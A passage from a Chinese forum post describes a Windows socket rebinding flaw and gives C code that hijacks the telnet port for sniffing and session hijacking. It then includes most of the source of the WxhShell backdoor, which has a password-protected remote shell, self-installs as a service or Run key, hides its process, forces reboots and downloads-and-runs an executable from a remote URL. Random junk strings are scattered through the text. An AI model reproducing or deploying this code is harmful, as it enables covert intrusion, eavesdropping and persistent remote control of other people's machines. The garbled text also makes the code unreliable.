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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KHXnB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -^7n+ QX  
D$c4's `5  
  saddr.sin_family = AF_INET; bpe WK&  
;rH@>VrR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mCx6$jz  
<$ Ar*<,6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K&noA  
Zx]"2U#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2]*2b{gF,  
u5FlT3hY.  
  这意味着什么?意味着可以进行如下的攻击: BK]q^.7+:  
];go?.*C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |bz,cvlP W  
[(N<E/m%B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W;C41>^?/  
6y9#am?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g< {jgF  
up7]Yy;o=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~(`iRxK  
,9p 4(jjX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aNCIh@m~  
Dl%NVi+n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cf0D q~G  
y85/qg) H^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6l>$N?a  
u1&pJLK0[  
  #include g+k0Fw]!  
  #include v7/qJ9l  
  #include 9_F2nmEv  
  #include    wvA@\-.+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LEkO#F(  
  int main() (;'?56  
  { MI@id  
  WORD wVersionRequested; nrMm](Y45  
  DWORD ret; Uok?FEN  
  WSADATA wsaData; P/?`  
  BOOL val; F"3PP ~  
  SOCKADDR_IN saddr; =x~HcsJ8!R  
  SOCKADDR_IN scaddr; 969*mcq'  
  int err; ]-& ehW  
  SOCKET s; Y zSUJ=0/  
  SOCKET sc; )sVz;rF<  
  int caddsize; ?*a:f"vQ  
  HANDLE mt; },'2j  
  DWORD tid;   -Vk+zEht  
  wVersionRequested = MAKEWORD( 2, 2 ); jYRwtP\  
  err = WSAStartup( wVersionRequested, &wsaData ); _rK}~y=0  
  if ( err != 0 ) { RJ1 Q.o  
  printf("error!WSAStartup failed!\n"); Be+vC=\K  
  return -1; 9Bl_t}0  
  } -U(T  
  saddr.sin_family = AF_INET; Zycu3%JI  
   G_g~-[O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DQd~!21\|  
_YY:}'+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }\B`tAN  
  saddr.sin_port = htons(23); [Zk|s9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e7ixi^Q  
  { yK<%AV@v  
  printf("error!socket failed!\n"); lN)U8  
  return -1; ^ S'}RZ*>  
  } P7(+{d{  
  val = TRUE; ;$ =`BI)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &)OX*y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vAi kd#C)  
  { q-3%.<LL  
  printf("error!setsockopt failed!\n"); tB4- of3+  
  return -1; qCn(~:  
  } DF/p{s1Y3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W\o(f W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2:Q9g ru  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iTi<X|X  
=9GL;z:R+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |_8- 3  
  { iV[g.sP-  
  ret=GetLastError(); !-%i" a  
  printf("error!bind failed!\n"); #Na3eHT  
  return -1; @kn0f`  
  } f*7/O |Gp  
  listen(s,2); z,[4 BM  
  while(1) Xz&Hfs"/J  
  { 2c@R!*  
  caddsize = sizeof(scaddr); yv^j~  
  //接受连接请求  qm&}^S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z _~f/  
  if(sc!=INVALID_SOCKET) hV])\t=yf  
  { *r$Yv&c,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *<#jr  
  if(mt==NULL) V|ax(tHv  
  { k:Sxs+)?1  
  printf("Thread Creat Failed!\n"); G2U=*|  
  break; i)g=Lew  
  } aErms-~  
  } /<vbv  
  CloseHandle(mt); q [Rqy !,  
  } =0TnH<`  
  closesocket(s); DcE)6z#  
  WSACleanup(); 6 uW?xB9  
  return 0; t6BggO"_u  
  }   |gM|>  
  DWORD WINAPI ClientThread(LPVOID lpParam) l9"0Wu@_x  
  { I4:4)V?  
  SOCKET ss = (SOCKET)lpParam; hC?:XVt  
  SOCKET sc; S(eCG2gR  
  unsigned char buf[4096]; :jB~rhZ~  
  SOCKADDR_IN saddr; 4eK!1|1  
  long num; y{+$B Y$_  
  DWORD val; :2iNw>z1  
  DWORD ret; h`X)sC+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X@|'#%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2%i_SX[  
  saddr.sin_family = AF_INET; G=/a>{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a7s+l=  
  saddr.sin_port = htons(23); l5QH8eNwME  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x7)j?2  
  { <|[G=GA\S!  
  printf("error!socket failed!\n"); 5drc8_fZ  
  return -1; @H2c77%  
  } q`_d>l  
  val = 100; je@F:5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5wYYYo=  
  { t+7h(?8L  
  ret = GetLastError(); @^]wT_r  
  return -1; 9J h"1i>x2  
  } jh0``{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l{ja2brX  
  { JpqZVu"7  
  ret = GetLastError(); PnkJ Wl<S  
  return -1; <0T5W#H`D  
  } Jn3cU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;[TC`DuNj0  
  { 'QW/TJ=7r  
  printf("error!socket connect failed!\n"); 6x|"1 G{  
  closesocket(sc); ' RK .w^  
  closesocket(ss); ~sj'GEhEg  
  return -1; `!WtKqr%B  
  } JoeU J3N  
  while(1) _L 5<  
  { yW5/Y02  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f.8Jp<S2K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mW~t/$Y$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5SPhdpIg@[  
  num = recv(ss,buf,4096,0); =<Q_&_.60  
  if(num>0) 7Mq4$|qhD  
  send(sc,buf,num,0); q)vdDdRe_  
  else if(num==0) zmd,uhNc:  
  break; )a"rj5~-  
  num = recv(sc,buf,4096,0); .XDY1~w0  
  if(num>0) ^'>kZ^w0  
  send(ss,buf,num,0); 4g<F."  
  else if(num==0) h!.#r*vV  
  break; u"eO&Vc  
  } 8w1TX [b  
  closesocket(ss); pa4,W!t  
  closesocket(sc); [P~6O>a5p  
  return 0 ; qYo"-D*  
  } ZI.;7G@|  
ZS&>%G  
ETU.v*HT]  
========================================================== {p3VHd#  
/]7FX"  
下边附上一个代码,,WXhSHELL CR8a)X4j#  
Z3jh-{0  
========================================================== }*eiG  
vxuxfi8x  
#include "stdafx.h" !R p  
4#hDt^N~  
#include <stdio.h> _ nFsC  
#include <string.h> \i1>/`F  
#include <windows.h> lS1-e0,h1  
#include <winsock2.h> $7M/rF;N5X  
#include <winsvc.h> L(Ww6oj  
#include <urlmon.h> O`Ht|@[6  
CUJP"u>8M  
#pragma comment (lib, "Ws2_32.lib") :eIPPh|\  
#pragma comment (lib, "urlmon.lib") &XG k  
kkWqP20q  
#define MAX_USER   100 // 最大客户端连接数 w&&uk[Gh/a  
#define BUF_SOCK   200 // sock buffer *;^!FBT  
#define KEY_BUFF   255 // 输入 buffer .gY}}Q  
6x18g(KbP  
#define REBOOT     0   // 重启 X^204K%:  
#define SHUTDOWN   1   // 关机 C-25\  
)gM3,gSS  
#define DEF_PORT   5000 // 监听端口 WKVoqp}  
Ve/"9 ?Y_  
#define REG_LEN     16   // 注册表键长度 ]LGp3)T-  
#define SVC_LEN     80   // NT服务名长度 lIR0jgP@z  
Hgu:*iYA  
// 从dll定义API H<tk/\C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <eWGvIEP[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $xx5+A%,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 38Rod]\E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $7Sbz&)y3  
si`{>e~`6P  
// wxhshell配置信息 @q=l H *=  
struct WSCFG { WY=RJe2  
  int ws_port;         // 监听端口 _PTo !aJL  
  char ws_passstr[REG_LEN]; // 口令 {8L)Fw  
  int ws_autoins;       // 安装标记, 1=yes 0=no 31BN ?q  
  char ws_regname[REG_LEN]; // 注册表键名 Y# <38+Gd  
  char ws_svcname[REG_LEN]; // 服务名 HbQvu@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Bo/1G=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lo}[o0X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @3D8TPH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %y@iA91K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @\~qXz{6J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !A R$JUnX  
6Mpbmfr  
}; r 5$(  
B_f0-nKP  
// default Wxhshell configuration m>po+7"b  
struct WSCFG wscfg={DEF_PORT, 9ICC2%j|  
    "xuhuanlingzhe", fX.V+.rj  
    1, ]>utLi5dX  
    "Wxhshell", ZqI.n4:9  
    "Wxhshell", x.>E7 +  
            "WxhShell Service", >{DHW1kF?  
    "Wrsky Windows CmdShell Service", fVR:m`'Iq_  
    "Please Input Your Password: ",  eiLtZQ  
  1, WA);Z=  
  "http://www.wrsky.com/wxhshell.exe", hl4@Y#n  
  "Wxhshell.exe" OL+!,Y  
    }; 6~g:"}  
7ko7)"N  
// 消息定义模块 >.R6\>N%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A<6V$e$:2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H>AzxhX[n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kvU0$1  
char *msg_ws_ext="\n\rExit."; ?$O5w*  
char *msg_ws_end="\n\rQuit."; ":,HY)z  
char *msg_ws_boot="\n\rReboot..."; o]NL_SM_  
char *msg_ws_poff="\n\rShutdown..."; +mBJvrI  
char *msg_ws_down="\n\rSave to "; ^$][ah  
vFfvvRda4x  
char *msg_ws_err="\n\rErr!"; Z=: oIAe  
char *msg_ws_ok="\n\rOK!"; JCIm*6~  
<`dF~   
char ExeFile[MAX_PATH]; qZ!1>`B  
int nUser = 0; \!UNa le  
HANDLE handles[MAX_USER]; S"|sD|xOb  
int OsIsNt; M/U$x /3K  
ivdw1g|)h  
SERVICE_STATUS       serviceStatus; y$)gj4k/D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q9K+k*?{N  
0F'75  
// 函数声明 CK e  
int Install(void); ]{9oB-;,  
int Uninstall(void); `Tzq vnn  
int DownloadFile(char *sURL, SOCKET wsh); vOYcS$,^X%  
int Boot(int flag); .js4)$W^  
void HideProc(void); -;$+`<%  
int GetOsVer(void); UQ|zSalv,  
int Wxhshell(SOCKET wsl); F"a^`E&  
void TalkWithClient(void *cs); PVO9KWv**  
int CmdShell(SOCKET sock); *$(=I6b  
int StartFromService(void); p71% -nV  
int StartWxhshell(LPSTR lpCmdLine); ?o0#h  
5iola}6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SwQ.tK1p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T0_9:I`&  
wAHb 5>!  
// 数据结构和表定义 syh0E= If_  
SERVICE_TABLE_ENTRY DispatchTable[] = |-7<?aw"  
{ GS{:7%=j  
{wscfg.ws_svcname, NTServiceMain}, 6RZ[X[R[}  
{NULL, NULL} v)JQb-<  
}; \h^bOxh  
hMJ \a  
// 自我安装 )!dELS \ix  
int Install(void) <.3@-z>w2,  
{ tC+9W1o  
  char svExeFile[MAX_PATH]; b* Ipg8n+  
  HKEY key; .<Z7 K @  
  strcpy(svExeFile,ExeFile); xsRMF&8L  
[ hj|8)  
// 如果是win9x系统,修改注册表设为自启动 w8%yX$<  
if(!OsIsNt) { F *; +-e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +ZXGT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hBsjO3n  
  RegCloseKey(key); whNRUOK:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZP)=2'RY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dh/:H/k kR  
  RegCloseKey(key); ,Ucb)8a  
  return 0; HZQI|  
    } }jd[>zk  
  } eEsEW<su  
} 9szE^kHS9  
else { )I+1 b !U  
SU# S'  
// 如果是NT以上系统,安装为系统服务 |~H'V4)zXu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HXU"]s2Z  
if (schSCManager!=0) oW]&]*>J  
{ f.jAJ; N>  
  SC_HANDLE schService = CreateService 6o;lTOes  
  ( ]CC= \ <  
  schSCManager, ;_j\E(^%  
  wscfg.ws_svcname, .WL507*"Ce  
  wscfg.ws_svcdisp, M _U$I7  
  SERVICE_ALL_ACCESS, BHj]w*Ov  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F__>`Do l  
  SERVICE_AUTO_START, mS~3QV  
  SERVICE_ERROR_NORMAL, o\]e}+1[o  
  svExeFile, J=K3S9:n]g  
  NULL, z,rWj][P  
  NULL, Cw{#(xX  
  NULL, #`"'  
  NULL, *ep!gT*4  
  NULL Tf@t.4\  
  ); Q\=u2}/z0  
  if (schService!=0) *MagicA  
  { ZJ=C[s!wu  
  CloseServiceHandle(schService); EZP2Bb5g  
  CloseServiceHandle(schSCManager); n+GCL+Mo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (%0X\zvu/  
  strcat(svExeFile,wscfg.ws_svcname); d c&Qi_W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BpP\C!:^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !+)$;`  
  RegCloseKey(key); `*oLEXYN  
  return 0; \f66ipZK*  
    } ip5s'S~  
  } 6\o.wq  
  CloseServiceHandle(schSCManager); tu!u9jVv  
} SgXXitg9+  
} zm8m J2s  
%aw/Y5  
return 1; tDN-I5q  
} l"*>>/U k  
He!0&B\7h  
// 自我卸载 Xkv>@7ec  
int Uninstall(void) #gN{8Yk>  
{ b!.# `.  
  HKEY key; G|O"Kv6  
W>@%d`>o5  
if(!OsIsNt) { L0&!Qct  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RM<\bZPc  
  RegDeleteValue(key,wscfg.ws_regname); M2xUs  
  RegCloseKey(key); bkOm/8k|4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 #kvb$97  
  RegDeleteValue(key,wscfg.ws_regname); !d(!1fC  
  RegCloseKey(key); -nk%He  
  return 0; tb=L+WAIw  
  } D[-Ct  
} 0_]aF8j  
} P;_dil G  
else { jB1\L<P  
1~`g fHI4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ] lO$oO  
if (schSCManager!=0) A`N;vq,  
{ ;,4J:zvZdQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PPq*_Cf  
  if (schService!=0) =kc{Q@Dk  
  { t3s}U@(C  
  if(DeleteService(schService)!=0) { JnsXEkM)  
  CloseServiceHandle(schService); gSe{ S  
  CloseServiceHandle(schSCManager); moo>~F _^  
  return 0; mmjB1 L  
  } (u'/tNGS  
  CloseServiceHandle(schService); s+CXKb +  
  } 8c/Ii"1  
  CloseServiceHandle(schSCManager); nVM`&azD  
} T8m%_U#b  
} ZRQPOy  
sN?:9J8  
return 1; x< 3vA|o  
} Rw\DJJrz  
{ o;0Fx  
// 从指定url下载文件 ih;TQ!c+b  
int DownloadFile(char *sURL, SOCKET wsh) x)U;  
{ (CV=0{]  
  HRESULT hr; O~Fk0}-  
char seps[]= "/"; :YI>AaYWDO  
char *token; 9(PFd%  
char *file; k m|wB4  
char myURL[MAX_PATH]; $7bmUQ|  
char myFILE[MAX_PATH]; CKR9APkv  
P<(mH=K  
strcpy(myURL,sURL); QA9vH'  
  token=strtok(myURL,seps); z"vgwOP su  
  while(token!=NULL) <?7~,#AK  
  { UD(#u3z  
    file=token; `dNb%f>  
  token=strtok(NULL,seps); 7>mYD3  
  } ,Z^GN%Q7a  
V9bLm,DtT  
GetCurrentDirectory(MAX_PATH,myFILE); }wb;ulN)  
strcat(myFILE, "\\"); !'MD8  
strcat(myFILE, file); A&7jE:Ew  
  send(wsh,myFILE,strlen(myFILE),0); N|)V/no6  
send(wsh,"...",3,0); a[!d)Y:zx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;lEiOF+d  
  if(hr==S_OK) +=8Po'E^!d  
return 0; x}[` -  
else ,5?MRqCM  
return 1; W!^=)Qs  
w#$k$T)  
} J|q_&MX/  
mNY z7N  
// 系统电源模块 iTvCkb48m  
int Boot(int flag) n 3]y$wK  
{ Ol@ZH_  
  HANDLE hToken; U Oo(7  
  TOKEN_PRIVILEGES tkp; gA|j\T{c  
u^uG_^^,/  
  if(OsIsNt) { 7(;VUR%%.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  zVa+5\Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {XCrjO|  
    tkp.PrivilegeCount = 1; ~>R)H#mP7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5~F0'tb|}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T{M:)}V  
if(flag==REBOOT) { F&~vD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pk4&-iu9  
  return 0; Jp#cFUa t  
} `QF|> N  
else { gD\}CxtG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DIAP2LR ?  
  return 0; i5"q1dRQ  
} iD`XD\.?  
  } jYF3u0 )  
  else { 5=986ci$U  
if(flag==REBOOT) { AVWrD[ wD2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IA4(^-9  
  return 0; *2MTx   
} w1b <>A?87  
else { 2Qj)@&zKe#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \#r_H9&s6  
  return 0; `ahXn  
} {;/o4[jlg  
} )]R?v,9*D  
( -@>  
return 1; 6hq)yUvo4  
} ;p ('cwU%  
S@)bl  
// win9x进程隐藏模块 XEEbmIO*<9  
void HideProc(void) <hbbFL}|%  
{ U8KY/!XZ  
[  _$$P*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >xKRU5  
  if ( hKernel != NULL ) t@n (a  
  { ^'4uTbxP_!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m~eWQ_a]C@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h6N}sLM{0  
    FreeLibrary(hKernel); "-?Y UY`  
  } z-G (!]:  
am3E7u/  
return; A~V\r<N j  
} '[^2uQc  
!y?hn$w0  
// 获取操作系统版本 tV9C33  
int GetOsVer(void) Gf\_WNrSE+  
{ $O8V!R*  
  OSVERSIONINFO winfo; v!xrUyN~m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Ze}bM=N  
  GetVersionEx(&winfo); BkfBFUDQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w"iZn  
  return 1; f:5/y^M&  
  else ,?6m"ov4(  
  return 0; 5I,X#}K[  
} ew$Z5N:  
x?'%  
// 客户端句柄模块 ;hJ*u  
int Wxhshell(SOCKET wsl) 8-ssiiJ}gh  
{ *XO KH+_u  
  SOCKET wsh; -RQQ|:O$  
  struct sockaddr_in client; x^2/jUc#B  
  DWORD myID; `h!&->  
Y{|yB  
  while(nUser<MAX_USER) m4>o E|\  
{ ]#.&f]6l  
  int nSize=sizeof(client); &X,)+ b=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FF~4y>R7u  
  if(wsh==INVALID_SOCKET) return 1; neFno5dj  
{{%8|+B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MToQ8qKs  
if(handles[nUser]==0) .G~5F- 8'  
  closesocket(wsh); 'LLx$y.Ei[  
else #%"TU,[+  
  nUser++; UO<claV  
  } R7c)C8/~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *AR<DXE L  
-yGm^EwP  
  return 0; 1>y=i+T/b  
} /,Id_TTCO  
'a?.X _t  
// 关闭 socket $ow`)?sh  
void CloseIt(SOCKET wsh) F)kLlsp  
{ <9tG_  
closesocket(wsh); vXQmEIm  
nUser--; <# r.}T.l  
ExitThread(0); 7h/Q;P5  
} 0]W]#X4A  
+STzG /9#  
// 客户端请求句柄 72vGfT2HtZ  
void TalkWithClient(void *cs) =e-aZ0P  
{ x>" JWD  
TbAdTmW  
  SOCKET wsh=(SOCKET)cs; XPo'iI-  
  char pwd[SVC_LEN]; igj@{FN  
  char cmd[KEY_BUFF]; *"{Z?< 3  
char chr[1]; \1C!,C  
int i,j; bk9~63tN+>  
.hNw1~Fj  
  while (nUser < MAX_USER) { N: jiZ)  
!&jgcw/E  
if(wscfg.ws_passstr) { P\6T4s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^GaPpm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hcc-J)=m  
  //ZeroMemory(pwd,KEY_BUFF); x0$:"68PW  
      i=0; 6ilC#yyp  
  while(i<SVC_LEN) { ]J=)pD rk  
/1#Q=T  
  // 设置超时 xWe1F2nY  
  fd_set FdRead; vP)~j1  
  struct timeval TimeOut; Rn_W|"  
  FD_ZERO(&FdRead); lT!$\E$1   
  FD_SET(wsh,&FdRead); x&oBO{LNK,  
  TimeOut.tv_sec=8; ^_h7!=W  
  TimeOut.tv_usec=0; wK`ieHmp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R6Z}/m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Is6 _  
l@/kPEh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [pFu ] ^X  
  pwd=chr[0]; xp8f  
  if(chr[0]==0xd || chr[0]==0xa) { seU^IC<  
  pwd=0; 'Qq_Xn8  
  break; SJc@iffS  
  } KM(9& 1/  
  i++; jP.b oj_u*  
    } 9`n) "r  
S@zkoj@  
  // 如果是非法用户,关闭 socket o``>sBZOq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =/QU$[7X(  
} -hFyqIJW  
(s@tU>4U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! }?jCpp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^zPEAXm  
zpr@!76  
while(1) { C9Z\G 3  
%x8`fm  
  ZeroMemory(cmd,KEY_BUFF); <eFAI}=s  
J[Yg]6  
      // 自动支持客户端 telnet标准   CC(*zrOd-  
  j=0; hd ;S>K/C  
  while(j<KEY_BUFF) { ck_fEF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b hr E  
  cmd[j]=chr[0]; ?(ls<&s{w  
  if(chr[0]==0xa || chr[0]==0xd) { 8u5 'g1M  
  cmd[j]=0; P:, x?T?J^  
  break; e=jT]i*cU  
  } eQax ZMU  
  j++; LSu^#B  
    } :Ip:sRz  
jM1%6  
  // 下载文件 1LId_vJtJ  
  if(strstr(cmd,"http://")) { m_Ac/ct f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ao,!z  
  if(DownloadFile(cmd,wsh)) O][Nl^dl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i$^B-  
  else oBNX8%5w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T'b/]&0Tio  
  } 11y .z^  
  else { 5+/b$mHZX  
kAB+28A  
    switch(cmd[0]) { *xo;pe)9  
  'tu@`7*  
  // 帮助 /sT ^lf=  
  case '?': { cI%"Ynq"3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q6!v3P/h  
    break; ^*x Hy`  
  } M|({ 4C  
  // 安装 %w8GGm8^/  
  case 'i': { _:Jp*z  
    if(Install()) Ph+X{|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(` }:t  
    else bA<AG*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \aVY>1`  
    break; z'oiyXEE3  
    } ) {  
  // 卸载 }uI7 \\S  
  case 'r': { #3Ej0"A@-B  
    if(Uninstall()) !H1tBg]5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx6-~0!eI=  
    else A6NxM8ybn+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ed^uA+D  
    break; qQxA@kdd  
    } V@ _-H gg  
  // 显示 wxhshell 所在路径 (e8G (  
  case 'p': { ]Q4PbW  
    char svExeFile[MAX_PATH]; B?#kW!wj  
    strcpy(svExeFile,"\n\r"); bKuj po6  
      strcat(svExeFile,ExeFile); I!@s6tG  
        send(wsh,svExeFile,strlen(svExeFile),0); "\/^/vn?  
    break; _))I.c=v  
    } QOV}5 0  
  // 重启 jkF+g$B  
  case 'b': { 5Z9~ &U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /j' B\,  
    if(Boot(REBOOT)) F?8BS*r_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 2!C^}d3F  
    else { .;HIEj zq  
    closesocket(wsh); J}(6>iuQY?  
    ExitThread(0); ;;?vgrz  
    } cZgMA8 F  
    break; n|x$vgb  
    } AUxM)H  
  // 关机 (/SGT$#8  
  case 'd': { jWXR__>.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %0yS98']g  
